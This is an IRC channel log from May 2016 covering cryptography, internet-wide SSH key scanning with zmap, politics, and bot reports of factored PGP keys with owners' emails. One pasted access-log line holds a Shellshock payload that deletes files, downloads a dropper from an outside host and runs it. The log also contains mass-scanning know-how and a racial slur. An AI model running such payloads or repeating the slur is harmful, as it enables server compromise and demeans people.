Forum logs for 21 May 2016

Monday, 16 March, Year 12 d.Tr. | Author:
mircea_popescu: sure, sure. and why do i need to know how the gcc trick works. [01:15]
deedbot: [» Contravex: A blog by Pete Dushenski] Ben Hur - http://www.contravex.com/2016/05/21/ben-hur/ [02:16]
deedbot: [Trilema] House of Strangers - http://trilema.com/2016/house-of-strangers/ [02:24]
deedbot: [Qntra] Ivanpah Solar Plant Sets Self On Fire - http://qntra.net/2016/05/ivanpah-solar-plant-sets-self-on-fire/ [08:08]
Framedragger: mircea_popescu: (got 2768 ssh-rsa keys on a test run on a populated /16... this will be fun.) [09:44]
mircea_popescu: win! [11:18]
mircea_popescu: ahahaha BingoBoingo [11:31]
mircea_popescu: Framedragger how long did covering the /16 take ? [11:48]
asciilifeform: one for mircea_popescu: https://gfycat.com/ThoughtfulShamelessChimpanzee [11:57]
Framedragger: mircea_popescu: with timeout per host set to 5sec (default) and unaltered parallel scanning setting (ssh-keyscan does parallel stuff pretty well but it may not be best for scanning huge numbers of hosts case in point: default version for ubuntu 14.04 terminates if a single remote host closes conn prematurely - needed to patch this..), it took ~65 minutes (i've started logging timestamps afterwards but this is prob quite accurate). this [11:57]
Framedragger: this was using single machine only - scanning with two now, will add third one when i have a few min. but yeah it's overall slow i guess you could say [11:57]
Framedragger: (irc msg maxlen is 512 chars right?) [11:58]
mircea_popescu: ahahahaha nice. gord frw. [11:59]
mircea_popescu: calc 2 ** 16 * 65 / 60 / 24 / 365 [11:59]
gribble: 8.10471841705 [11:59]
mircea_popescu: 8 years on a single machine. what were you running, aws ? [12:00]
Framedragger: i'm considering running zmap on high-throughput server to quickly get all internet-connected machines in ipv4 space, and then feeding that into ssh-keyscan. may be more efficient. also need to get some disposable ip addresses or something, cause according to internet my coupla server IPs will soon be added to some shitlist [12:00]
mircea_popescu: eh i got 100s. [12:00]
Framedragger: no just a server with probably 50 mbps good uplink [12:00]
asciilifeform: that there's the general minus of scanning [12:00]
Framedragger: yeah i may set up some aws nodes [12:01]
asciilifeform: the ip becomes ~useless for any other use [12:01]
mircea_popescu: please do a different /16 on an aws just to get a handle on how much it costs. [12:01]
Framedragger: k i'll try and do that (a bit later) [12:01]
mircea_popescu: asciilifeform you know i don't understand, wtf aren't they making pastries this way! at first i thought that's dough on her tits for sure... but no, just paint ? [12:01]
asciilifeform: that was my first thought ! [12:01]
mircea_popescu: wtf what a waste. titpressed titcakes! wants! [12:01]
asciilifeform: caeks! [12:02]
* Framedragger remembers he has a disposable tor exit node on digitalocean, can use that one [12:02]
mircea_popescu: Framedragger tor is uselessly slow [12:02]
Framedragger: nono, i just mean, i can just use that particular machine for dirty work, cause i can't use that ip for other purposes anyway, it's tainted [12:02]
Framedragger: but yeah need to think of bigger scales here.. short-term aws/azure farms, whatnot [12:02]
mircea_popescu: just to eval it. in general the zmap idea is right and proper. [12:04]
Framedragger: "With [... some custom] changes, ZMap can comprehensively scan for a single TCP port across the entire public IPv4 address space [on a 10Gbps pipe, looks like] in 4.5 minutes given adequate upstream bandwidth." https://www.usenix.org/system/files/conference/woot14/woot14-adrian.pdf - not bad [12:07]
mircea_popescu: aha. it's rapid yeah [12:08]
mircea_popescu: the only problem is, i'd expect you will receive ~1/3 of the address space as hits. [12:09]
mircea_popescu: billionish machines. [12:09]
Framedragger: something something avoids having to take care of timeouts (is stateless) by putting custom info in packets / "SYN cookies" something [12:09]
Framedragger: mewonders [12:10]
mircea_popescu: check it out asciilifeform , there's not even as many computers as there are people and they're already beating us in go :D [12:10]
Framedragger: someone published survey results [12:10]
asciilifeform: lel [12:10]
mircea_popescu: oppressed fucking minority. [12:10]
asciilifeform: mircea_popescu: related lulz, http://www.theverge.com/circuitbreaker/2016/5/19/11716818/google-alphago-hardware-asic-chip-tensor-processor-unit-machine-learning << go asic [12:11]
Framedragger: 2012: http://internetcensus2012.bitbucket.org/paper.html [12:11]
Framedragger: shitloads of webcams, "secure" printers etc (of course) [12:11]
mircea_popescu: dun matter does it [12:12]
asciilifeform: Framedragger: this is in the old logz [12:12]
Framedragger: oh. figures... [12:12]
mircea_popescu: lol [12:12]
Framedragger: man i need some tool which autosearches from logs while i type in irc [12:12]
mircea_popescu: write it! [12:12]
mircea_popescu: not a bad idea either, as a plugin. [12:13]
asciilifeform: a working $s would be almost as good [12:13]
mircea_popescu: they're workin' on it. [12:13]
Framedragger: wonder if whole log would become references to itself, il n'y a pas de hors-texte and all that [12:13]
Framedragger: hm true... [12:13]
mircea_popescu: Framedragger pretty much there already. [12:13]
Framedragger: yah [12:14]
mircea_popescu: it's just that the majority of computer folk are uncouth and didn't read their linguistics and semiology. [12:14]
mircea_popescu: which is shameful, really, seeing how ITS THE OTHER FUCKING COMPILER. [12:14]
mircea_popescu: pretending to have a cs program that's all linguistics-free seems to me the height of ignoramity, but whatevs. [12:14]
Framedragger: yeah i can't hold interesting convos with these cs people for long sometimes, it's like, fuck you humanity you suck [12:14]
Framedragger: no but for real. thing is, cs folk usually haven't even read their own "definitive" texts (shannon, e.g.) [12:15]
mircea_popescu: yes, alf bitching about this is in the logs :) [12:15]
Framedragger: ... [12:15]
mircea_popescu: lmao [12:15]
asciilifeform: in what universe does it make sense to regard the imbeciles as 'cs folks' ? [12:15]
mircea_popescu: asciilifeform hey, they got a cert. [12:16]
Framedragger: well i did use "folks" which isn't a word from the most high register so to speak :) [12:16]
Framedragger: butyeah [12:16]
asciilifeform: what next, 14th c let's-treat-the-wound-with-shit idiot is 'doctor' ? [12:16]
mircea_popescu: aha! [12:16]
Framedragger: 'the fucking witch deserved it' [12:16]
mircea_popescu: part of the history of medicine, like it or not, mr progress. [12:16]
asciilifeform: sure but if he lives today ? [12:17]
mircea_popescu: but there is no yesterday of computing! [12:17]
mircea_popescu: it all happened in a blink of a slow blinking eye! [12:17]
asciilifeform: there was a pretty sharp transition from, e.g., mccarthy to jwz [12:17]
Framedragger: you're still using $framework? GO BACK TO YER CAVE [12:17]
mircea_popescu: slow blinking eye! [12:18]
asciilifeform: more of a puckering sphincter [12:18]
mircea_popescu: lmao omfg. dude published the 2012 census with a pgp (v2.0!) 1kb rsa key and he claims to be inspired by... XKCD!!! to do a fucking hilbert curve. omfg the unit-square covering discussions were all in vain, xkcd is the source. [12:22]
Framedragger: didyouknow, someone wrote a graphing library which mimicks xkcd graph style. iirc it's actually quite nice, insofar as hipster things can be nice. shitlikethat... [12:23]
mircea_popescu: obligatory http://trilema.com/xkcd [12:24]
Framedragger: yeah seen it, heh [12:24]
mircea_popescu: ah ? well then. [12:25]
Framedragger: by all means, keep reinforcing the "nothing outside the text" notion ! but yeah, good to revisit [12:26]
Framedragger: [dodges the "that's not the proper translation" discussion] [12:26]
mircea_popescu: per the drunken walk model, once you're hitting sqrt(1) of references in cache you've read enough :D [12:26]
Framedragger: hehehe [12:27]
mircea_popescu: and in other lulz, http://imgur.com/gallery/nbtVT [12:44]
* asciilifeform doesn't get it [12:45]
mircea_popescu: psychotic face contortions [12:48]
asciilifeform: in other nyooz, [12:49]
asciilifeform: 198.55.114.155 - - [21/May/2016:16:49:40 +0000] "GET / HTTP/1.1" 200 1101 "() { : } /bin/bash -c \x22rm -rf /tmp/*echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.shecho echo By China.Z >> /tmp/Run.shecho chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.shecho /tmp/China.Z-jkfz\xA8 >> /tmp/Run.shecho rm -rf /tmp/Run.sh >> /tmp/Run.shchmod 777 /tmp/Run.sh/tmp/Run.sh\x22" "() { : } /bin/ [12:50]
asciilifeform: bash -c \x22rm -rf /tmp/*echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.shecho echo By China.Z >> /tmp/Run.shecho chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.shecho /tmp/China.Z-jkfz\xA8 >> /tmp/Run.shecho rm -rf /tmp/Run.sh >> /tmp/Run.shchmod 777 /tmp/Run.sh/tmp/Run.sh\x22" "-" [12:50]
mircea_popescu: da fuck is this [12:51]
asciilifeform: pretty obvious, neh ? [12:52]
asciilifeform: the real mega-question is ~where~ this worx [12:52]
mircea_popescu: no ? someone trying to pipe bash through apache ? [12:52]
asciilifeform: aha [12:52]
mircea_popescu: check it out, it's like 1990 in china. [12:53]
asciilifeform: the lulzy bit is that the thing hosting the dropper is dead. [12:54]
mircea_popescu: are youy calling it with wget ? [12:54]
asciilifeform: curl [12:54]
mircea_popescu: well, maybe it detects. [12:54]
asciilifeform: wget same. [12:55]
mircea_popescu: who the fuck uses wget instead of curl anyway, you know ? [12:55]
asciilifeform: box is stone dead. [12:55]
mircea_popescu: "here's the archive tool and here's the single url tool, i know, i'll use them backwards!" [12:55]
mircea_popescu: for that matter, why's he not using pastebin or w/e. [12:56]
asciilifeform: in other not-quite-fresh-nyooz, https://3.bp.blogspot.com/-jrApTQkrqY0/Vz8I5cEbM6I/AAAAAAAAeBI/RNtv0fXWF1EpXgL7KJL58KqSD_rtK1QiwCLcB/s1600/jingle.jpg [13:05]
mircea_popescu: "safeauto's do the jingle makes insurance advertising fun" ? [13:06]
asciilifeform: i have nfi [13:06]
mircea_popescu: http://memecrunch.com/meme/35KRI/ford-owners-be-like/image.jpg [13:07]
Framedragger: mircea_popescu: to get list of machines listening on port 22 using zmap on amazon aws micro instance with 100 mbps pipe, it takes approx 9-10 minutes per /16. note, only what's listening on port 22, but ssh-keyscan should then plough through pretty quickly. will later run more tests, i'll leave a single instance to scan some /16s to then feed into ssh-keyscan [13:14]
mircea_popescu: yeah but what's the bill [13:15]
Framedragger: i mean, i'm using some sort of free tier now, lols. should be cheap.. [13:15]
mircea_popescu: ah cool then [13:15]
Framedragger: i'll let you know once some data is gathered [13:15]
mircea_popescu: that's what needed testing. [13:15]
Framedragger: they'll start charging for bandwidth sooner or later [13:15]
Framedragger: i understand [13:15]
Framedragger: gon take some time to even start incurring cost tho [13:16]
mircea_popescu: eh, nmap takes 50bytes/try or such [13:16]
mircea_popescu: anyway, so if you spun up 1k aws micros the whole thing could be done in ~a day. [13:17]
Framedragger: (ah it seems zmap's saturated the 100mbps pipe quite efficiently. yeah will let you know re. cost, prob sooner than expected heh) [13:17]
Framedragger: fo sho [13:17]
mircea_popescu: asciilifeform ^ see ? leverage increase. do this in 1996. [13:18]
asciilifeform: if anything, it was ~more~ doable in '96, nobody ipbanned [13:25]
asciilifeform: nor did the folks you got the t1 from give half a fuck what you did with it [13:26]
mircea_popescu: gawd you're hard. [13:49]
mircea_popescu: this is like "it was way easier to do astronomy in 2016 bc, not nearly as much atmospheric pollution" "nor did anyone have any glass" "fu, i had glass!" [13:50]
asciilifeform: moar like 1880. [14:03]
mircea_popescu: re-reading durkeim it becomes obvious that a) omfg socialists everywhere, what the FUCK is it with this "we're all one" pov already! and b) being an anarchist is ~= being a bleating idiot what a man's supposed to be is an anomist. [14:06]
asciilifeform: diff anarchist anomist ? [14:07]
mircea_popescu: anarchist === socialist, with the added flavouring of putting the rejection of hierarchy socially above economically, politically or otherwise. [14:07]
asciilifeform: on what planet ? [14:08]
asciilifeform: how does one 'socialist' without statism [14:08]
mircea_popescu: (the "peace movement"/"modern democracy" flavour puts the political one first, and is the more fashionable today. communism puts the economical first, as per ziggler & co. used to be most fashionable) [14:08]
mircea_popescu: whereas anomist = one who rejects the regulatory role of society. [14:08]
mircea_popescu: asciilifeform anarchists are not against statism per se. [14:08]
asciilifeform: mircea_popescu must've read a very different set of anarchists than asciilifeform [14:08]
mircea_popescu: they're against the "repressive" ie, educational state. but otherwise, the state must be there for anarchy to exist. [14:09]
mircea_popescu: asciilifeform or maybe mircea_popescu reads beyond what people like to pretend they're saying into what they're actually saying! [14:09]
asciilifeform: show me where 'the state must exist' in, e.g., kropotkin [14:10]
mircea_popescu: any portion in particulare ? [14:10]
asciilifeform: anywhere ! [14:10]
mircea_popescu: what promotes the "voluntary cooperation" ? [14:11]
mircea_popescu: suppose i dun wanna cooperate. what now ? [14:11]
asciilifeform: live with wolf ? [14:11]
mircea_popescu: kropotkin's necessary state is imported as this cvasi-mystical "all men must x y z and will so!" [14:11]
mircea_popescu: "and if they don't ?" "uh." [14:11]
asciilifeform: if they don't, they fight - where's the enigma here [14:12]
mircea_popescu: well im no kropotkin specialist myself, but i'm unaware of him putting war as a legitimate human endeavour. [14:12]
mircea_popescu: anyway, in the general - whenever ideologue makes presuposition as to what humans are, or do, or will be or will do, he's therefore and by that an etatist. [14:13]
asciilifeform: i dun think war cared if anybody wrote it down as 'legitimate endeavour' or not [14:13]
mircea_popescu: but we're discussing kropotkin the anarchist, not war the phenomenon. [14:13]
mircea_popescu: unless your fellow said himself "and if they don't, they fight and whoever wins was right", he's what i say not what you say. [14:13]
asciilifeform: not wholly unrelated though. being the reason we haven't any serious anarchic communes to kick around no moar, is that they're no good at war. [14:14]
mircea_popescu: no, it's because they need a very specific sort of mommy that's yet in short supply. [14:14]
asciilifeform: waiwut [14:14]
mircea_popescu: there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked. [14:14]
asciilifeform: is this isomorphic to the swedish fishermen thing ? [14:15]
mircea_popescu: ie, they need a sort of state like the wasp's parents. dead corpse to be eaten. still etatist though. [14:15]
mircea_popescu: just, a different kind of state. [14:15]
asciilifeform: how 'anarchic' was their flavour [14:15]
mircea_popescu: it could well be, yeah. quite, neh ? [14:15]
asciilifeform: not so much - their villages were miniature totalitarian monstrosities in themselves [14:16]
asciilifeform: afaik [14:16]
mircea_popescu: of course. socialism is socialism is socialism. [14:16]
mircea_popescu: turd flavourer how it may be flavoured is turd by mass. [14:16]
mircea_popescu: anyway, the trick of pretending one's own flavour of state is "merely human nature" is, i suppose, pretty effectual. also quite old, karl ziggler / friedrich carnegey did it too! [14:18]
mircea_popescu: might have been zigg marx/dale engels, i always get obscure american self-help / weight loss / aluminum siding & friendmaking authors mixed up. [14:19]
mircea_popescu: asciilifeform the trick, generally, of passing one for another is visible throughout the nigger career, whichever nigger one might pick. so kropotkin studied cooperation in nature which is fine, and observed that it plays a role, which is true. fuck, tmsr is pretty heavy on cooperation also. aaaaaaand then... the sleigh of hand. really, there should be no preferential distribution ? what the shit. and of course, the pious f [14:27]
mircea_popescu: raud throughout - really, unsociable species are doomed to decay ? if only we decayed as much as the scorpions did in their lengthy existence. they've stayed viable apex predators in their niche for longer than humans likely will. [14:27]
Framedragger: approx 4.2 GB of bandwidth used for 14.6k sshd-running IPs, hit rate ~= 0.02% (these are rather random, not guaranteed-to-be-used (only definitely not in reserved blocks) subnets it's possible zmap just doesn't flush to file that often at all - will check later wtf's happening). $0.155 per GB of bandwidth (first 15 GB free). running for 72 min [14:28]
mircea_popescu: calc 2**32 / 14600 * 0.0002 * 4.2 * 0.155 [14:29]
gribble: 38.3016946534 [14:29]
mircea_popescu: so forty bucks gets the internet, more or less. [14:29]
Framedragger: when i was walking outside thinking of $ i got a similar figure in mind - lower bound maybe $30 and upper maybe $70, but prob $/GB rate was off in my mind [14:30]
Framedragger: so yeah [14:30]
mircea_popescu: alrightey [14:30]
* Framedragger will one day attempt to participate in such discussion, anomism, hmm... [14:31]
Framedragger: (that zmap paper matches this estimate btw - 4.5min was it - 10gbps pipe - lessay 1GiB/s for 270sec => 270GiB vs 2^32 / 14600 * 0.0002 * 4.2 = 247GiB) [14:35]
mircea_popescu: word [14:35]
asciilifeform: meanwhile, outside of my window, http://www.loper-os.org/pub/disapproval_cat.jpg [14:38]
mircea_popescu: ahahaha [14:49]
mircea_popescu: great cat lol [14:49]
mircea_popescu: ima bbl. [14:49]
trinque: asciilifeform │ if they don't, they fight - where's the enigma here << and then they fight, and someone wins, and someone's dominant, and whoops what happened to anarchy [14:50]
trinque: that cat is wondering when you're going to stop tapping oddly on that desk and catch a damn bird [14:51]
trinque: bet he's even brought you half-dead ones trying to teach! [14:51]
trinque: Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using [14:53]
trinque: unlimited bandwidth can be had for $notmuch [14:53]
trinque: homeboy over there has even hooked me up with free KVM access as a favor [14:54]
asciilifeform: trinque: cat is wild. [15:31]
jurov: how the saying goes... early cat gets the bird [15:32]
asciilifeform: in other not-quite-nyooz, http://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html << some dissection of the swift trojan, as seen in the old thread, http://trilema.com/forum-logs-for-11-mar-2016#2055826 [16:06]
a111: Logged on 2016-03-12 00:40 mircea_popescu: (actually, amusingly enough, swift docs date from just about the era ada was fashionable. there was such a time - just like that time in the 90s when everyone was eager to implement linux-y things and you didn't really have to sell it at all, whole cities just switched for no reason) [16:06]
shinohai: https://twitter.com/HardBTC/status/734093829901541376 " [17:47]
shinohai: Almost there, @StartJOIN pitch almost ready, an Open Source PGP digital Key signing tool that we're after funding to add new features" [17:47]
asciilifeform: 'PGP digital Key signing tool' ?? [17:48]
asciilifeform: i can almost hear the indian accent [17:48]
shinohai: lolz [17:49]
shinohai: The advent of paywalled applications, where new features can only be added with crowdfunded blockchainz [17:51]
mircea_popescu: asciilifeform speaking of anarchists, it occurs to me the comic you linked a while back is a fine example. the girl in there is an out and out anarchist. she requires, for her anarchism, the cartoonist to draw the nonsense she lives in or if out of meta, for someone to create all the items she uses and then stay out of her way. [17:56]
mircea_popescu: by and large, anarchism is this aspiration to absentee parents. [17:56]
asciilifeform: wai which [17:56]
mircea_popescu: some murderer for hire something [17:56]
asciilifeform: ah, 'captain estar' [17:57]
mircea_popescu: living in a thoroughly alienated world where hit targets were SO ALONE they actually were you know, a sort of crumb. [17:57]
asciilifeform: but ~all cartoon characters can only live in the paper [17:57]
asciilifeform: sorta what makes it what it is, neh? [17:57]
mircea_popescu: yes, but some are more like superman, ie, roosevelt socialist and some others more like national socialist. [17:58]
mircea_popescu: this is anarchist-socialist. [17:58]
asciilifeform: here is the question that itches me: [17:58]
asciilifeform: how cheap the energy before it is 'socialist herring' ? [17:58]
asciilifeform: as in http://btcbase.org/log/2016-05-21#1470228 [17:59]
a111: Logged on 2016-05-21 18:14 mircea_popescu: there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked. [17:59]
mircea_popescu: i dun think it is a matter of energy. [17:59]
asciilifeform: how does '1m people, 2m collapsed wallmarts' differ from 'put shit in the ground and let the sun do the work' ? [17:59]
asciilifeform: or 'throw rock at deer and eat phreeee meat' [17:59]
mircea_popescu: see, here's the catch : the value of walmart today. [17:59]
asciilifeform: seems like a difference of degree [18:00]
asciilifeform: rather than kind [18:00]
mircea_popescu: after a generation of that, the value of walmart would equalize and we'd have a rehash of actual society. [18:00]
mircea_popescu: socialism is the equivalent of grain : may only exist after cataclysm. [18:00]
asciilifeform: equalize as in, spent ? [18:00]
mircea_popescu: as in "no longer socially meaningful" [18:00]
mircea_popescu: like jeans in russia. who's gonna suck your cock for a pair now? [18:00]
asciilifeform: so - spent [18:00]
mircea_popescu: in that sense, yes. not physically spent, but psychologically spent [18:01]
asciilifeform: so mircea_popescu is of ye olde 'banana makes africans stupid' school ? [18:01]
mircea_popescu: yes. [18:01]
asciilifeform: as in, 'too cheap to meter' (tm) (r) morally corroding. [18:01]
mircea_popescu: note that the higher energy output of rice vs wheat has created ... larger azn cities. that's all. [18:02]
mircea_popescu: population grows, technology does not. [18:02]
asciilifeform: iirc we actually have pretty good records of cn ~prior to rice~ [18:03]
asciilifeform: but i have nfi what is in them. [18:03]
mircea_popescu: sure. [18:03]
mircea_popescu: so to come full circle : the items of interest in (the otherwise very on point) question "how cheap energy before it is scania herring" are cheap and herring not energy - that is always as cheaper as it always is, slightly more expensive as newton's death approaches. [18:07]
mircea_popescu: the social notion of cheapness and the individual notion of herring however fluctuate. [18:07]
asciilifeform: elaborate plox ? [18:08]
asciilifeform: the perennial favourite example (as seen in, e.g., orlov, and elsewhere) is bacteria in agar [18:09]
mircea_popescu: the tsar impedance mismatch created communism, ie, eco-first socialism the ww1 shock created national-socialism, ie, "we're all equal except for those schmucks" - and perhaps noteworthy here that the nazis couldn't quite decide if they're enumerating badness or goodness or what. but the idea was, "socialism within the bubble" [18:09]
asciilifeform: and 'humans are every bit as stupid as bacteria" [18:09]
mircea_popescu: and the moore law (pars pro toto, it's really starting with steel) catastrophe created the roosevelt socialism, aka "modern democracy" / "human rights" / "peace movement" etc. [18:10]
mircea_popescu: but outside of catastrophe, socialism fares as well as wheat. birch forest is the stable solution, not fucking wheat field. [18:10]
asciilifeform: birch is terrible example [18:11]
asciilifeform: it is the closest thing to wheat among trees [18:11]
mircea_popescu: which is why the state-volcano, or state-plow or state-something is always needed [18:11]
asciilifeform: hence why ru is full of'em [18:11]
mircea_popescu: beech not birch. wtf is it called. [18:11]
* mircea_popescu off to review botanics now [18:11]
asciilifeform: where the villages burned - there are now birches. [18:11]
asciilifeform: (in western eu - poppies) [18:12]
asciilifeform: this is a fairly broad category [18:12]
mircea_popescu: fagus. beech. [18:14]
mircea_popescu: varies with the zone, but anyway. [18:14]
asciilifeform: thing about nature is that nobody promised anyone a single equilibrium point [18:16]
asciilifeform: beech can stand for 1,001 years, or burn overnight. [18:17]
asciilifeform: if gets lucky. [18:17]
mircea_popescu: BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. [18:17]
mircea_popescu: fucking derps using my first name. to quote, "have we fucked ?" [18:17]
mircea_popescu: asciilifeform and once it burns, blueberry move in, then birch, then beech again. [18:18]
mircea_popescu: birch seed can not grow under the shade of adult birch trees. beech seed can. that's all the difference. [18:18]
mircea_popescu: socialist spawn can't fucking live in socialist world, c'est tout. [18:18]
asciilifeform: mircea_popescu: https://geektimes.ru/post/269914 << re where 'elbrus' went. [18:28]
asciilifeform: most pertinently, 'Получается в лучших традициях Советского Союза: машина есть, цена есть, купить нельзя.' [18:29]
mircea_popescu: lol [18:29]
asciilifeform: https://geektimes.ru/post/270382 << someone actually dug up, reviewed [18:30]
mircea_popescu: well... maybe in time. [18:30]
asciilifeform: megatonnes of old-school 'seals', 'tamper' whatevrthefucks [18:31]
shinohai: https://steemit.com/girlsgonesteem-nsfw/@steempower/welcome-to-girls-gone-steem#comments <<< the logo even looks like a turd. "steem" [19:31]
asciilifeform: later tell mircea_popescu growing 8ball installed. it will take several days for it to exceed the size of the old 8ball tho. however, it auto-saves and resumes in case of reboot, etc. [19:38]
gribble: The operation succeeded. [19:38]
BingoBoingo: <mircea_popescu> BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. << If they wanna write the steps are available. Dun see the point of the kink exchange [19:46]
shinohai: isup sdf.org [20:04]
gribble: sdf.org is down [20:04]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Lukas D. Jacobs <ich@lukasjacobs.de> Lukas D. Jacobs <pirat@lukasjacobs.de> Lukas David Jacobs <ich@lukasjacobs.de> Lukas David Jacobs <pirat@lukasjacobs.de> ' - http://phuctor.nosuchlabs.com/gpgkey/65E4BA4A1435AACB51DC0C86175C626CFA97D3E9E4299439764DEE43C97FD18D [20:26]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Apple Product Security <product-security@apple.com> ' - http://phuctor.nosuchlabs.com/gpgkey/01242DCED832B429633FEE0CE9B056C695BBF80CA513619A2CA3AA895AC4735F [20:26]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Piraten | Martin Letzel <piratenpartei@letzel.org> ' - http://phuctor.nosuchlabs.com/gpgkey/1CCC37C88F16286BE08BD15EF9EBAD67F10A9165B5CED6989EEE64FA7C644356 [20:26]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Robert L. Vaessen (MobileMe key generated with gpg) <rvaessen@me.com> ' - http://phuctor.nosuchlabs.com/gpgkey/F7ED43E91BC7980A082F3EF866B2FB785952BDCB758707BCB2E0F3EBEE519145 [20:26]
Framedragger: "<product-security@apple.com>" hah!! [20:31]
Framedragger: seems that their current key is different fwiw: https://www.apple.com/support/security/pgp/ ? [20:31]
Framedragger: http://btcbase.org/log/2016-05-21#1470259 << that's nice, thanks trinque - are they able to provide near-100mbps for their cheapo VPSs? [20:33]
a111: Logged on 2016-05-21 18:53 trinque: Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using [20:33]
deedbot: [Recent Phuctorings.] Phuctored: 3 divides RSA Moduli belonging to 'FAKE: key generation test ' - http://phuctor.nosuchlabs.com/gpgkey/0A8E8A26D309CBC4A73BD31E3D6C6AE49AB443FA58E2A9A823BAA868189AB6A5 [20:34]
Framedragger: ^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason) [20:37]
BingoBoingo: https://images.encyclopediadramatica.se/thumb/0/0a/LaciBra2.jpg/1024px-LaciBra2.jpg [20:37]
asciilifeform: later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..? [20:46]
gribble: The operation succeeded. [20:46]
asciilifeform: http://btcbase.org/log/2016-05-22#1470355 << there was a set of entirely phony keys, built via a certain algo, by an unknown 3rd party long ago. see logz. [20:48]
a111: Logged on 2016-05-22 00:37 Framedragger: ^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason) [20:48]
Framedragger: ah ok thanks for the explanation! more logs.... :) [20:49]
Framedragger: $s test [20:49]
Framedragger: oh it doesn't do that [20:49]
asciilifeform: later tell phf your search box is not grep-compatible. srlsy for fucks sake i can't search for '3 divides' without getting a pile of rubbish [20:52]
gribble: The operation succeeded. [20:52]
asciilifeform: 'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS [20:53]
asciilifeform: what works this way and where???! [20:53]
asciilifeform: other than shitoogle [20:53]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Christian Busch <chris@debilux.org> Christian Busch (Jabber) <chris@im.debilux.org> ' - http://phuctor.nosuchlabs.com/gpgkey/07FA12843E0B7B875AA7899C3556B1B21140858AF13AB151E34860070003997E [21:18]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Stephen Domorod III (Stephen at Domorod dot Org) <stephen@domorod.org> ' - http://phuctor.nosuchlabs.com/gpgkey/CD894142C4313393598D2A7B35E2A61D9CD4C6ACC0214D508203C9CDA8A65195 [21:18]
Framedragger: ..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...) [21:20]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Martin M. Stoppler <martin@stoppler.de> ' - http://phuctor.nosuchlabs.com/gpgkey/41C3308E5F375899710919E1484F78A1DC042B81EDDC432F38F75D4BDA9B29FC [21:27]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Charly Avital(RSA4096) <shavital@mac.com> Charly Avital (RSA-AES256) <shavital@netbox.com> ' - http://phuctor.nosuchlabs.com/gpgkey/29D4AB4C1D200C86FB06AB27CA9C38448622E11D3107C3A23E06C538C85B2CD0 [21:27]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Luciano Buszmicz (Never forget: 2 + 2 = 5 for extremely large values of 2.) <lbuszmicz@zimbra.itx.net> ' - http://phuctor.nosuchlabs.com/gpgkey/1C37B216D569982CD4D18802D703548E1A352C5E3C3F6057CEC02FFAFF9C8ABD [21:27]
BingoBoingo: bc,stats [21:51]
gribble: Current Blocks: 412804 | Current Difficulty: 1.9425482028344403E11 | Next Difficulty At Block: 413279 | Next Difficulty In: 475 blocks | Next Difficulty In About: 3 days, 5 hours, 33 minutes, and 3 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None [21:51]
mircea_popescu: asciilifeform lovely! [21:53]
mircea_popescu: http://btcbase.org/log/2016-05-22#1470350 << old key. [21:56]
a111: Logged on 2016-05-22 00:31 Framedragger: "<product-security@apple.com>" hah!! [21:56]
mircea_popescu: http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it. [21:57]
a111: Logged on 2016-05-22 00:46 asciilifeform: later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..? [21:57]
mircea_popescu: http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use " [22:00]
a111: Logged on 2016-05-22 00:53 asciilifeform: 'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS [22:00]
mircea_popescu: http://btcbase.org/log-search?q=%223+divides%22 <<< [22:01]
mircea_popescu: and whai do you ambush lords for your failure to use the things properly! [22:01]
mircea_popescu: http://btcbase.org/log/2016-05-22#1470371 << ouch. wtf ?! why ?! [22:02]
a111: Logged on 2016-05-22 01:20 Framedragger: ..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...) [22:02]
mircea_popescu: and in other balls, http://66.media.tumblr.com/56de3f906afad9912c8263018cc813af/tumblr_myauw3UN731skdw0qo1_250.gif [22:03]
